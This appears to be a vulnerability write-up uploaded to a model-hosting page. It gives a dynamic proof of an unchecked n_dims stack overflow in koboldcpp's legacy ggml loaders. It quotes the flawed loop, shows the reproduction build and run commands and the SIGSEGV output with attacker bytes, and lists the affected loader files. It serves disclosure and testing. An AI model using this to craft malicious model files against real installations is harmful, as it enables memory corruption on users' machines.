ybgwon96's picture
Upload 3 files
66f1af6 verified
|
Raw
History Blame Contribute Delete
1.21 kB
# Dynamic proof — koboldcpp legacy ggml loaders unchecked n_dims → ne[2] stack overflow
Reproduced 2026-07-04. Isolates the loop shared by koboldcpp's legacy ggml loaders, e.g.
`otherarch/gpt2_v2.cpp:269-273`:
```
int32_t ne[2] = {1,1};
for (int i = 0; i < n_dims; ++i) { fin.read(&ne[i], sizeof(ne[i])); nelements *= ne[i]; }
```
n_dims is read straight from the model file with no `n_dims <= 2` check.
## Run + crash (-O0; real code's fin.read writes are non-elidable)
```
c++ -O0 -g -fstack-protector-all ndims_repro.cpp -o ndims_repro
./ndims_repro 100000
* stop reason = EXC_BAD_ACCESS (code=1, address=0x16fe00000)
frame #0: main at ndims_repro.cpp:18 ; ne[i] = 0x41414141 (== fin.read(&ne[i], ...))
exit=139 (SIGSEGV)
```
n_dims>=3 writes attacker bytes past the 2-element stack array; a large n_dims sweeps down the stack
until the guard page -> SIGSEGV.
## Affected loaders (same pattern, ne[2] + unchecked n_dims)
otherarch/gpt2_v1.cpp, gpt2_v2.cpp, gpt2_v3.cpp, gptj_v1.cpp, gptj_v2.cpp, gptj_v3.cpp, mpt_v3.cpp,
llama_v2.cpp, llama_v3.cpp, neox_v2.cpp, neox_v3.cpp, rwkv_v2.cpp — selected by koboldcpp's FileFormat
detection (gpttype_adapter.cpp) when loading a legacy-format model.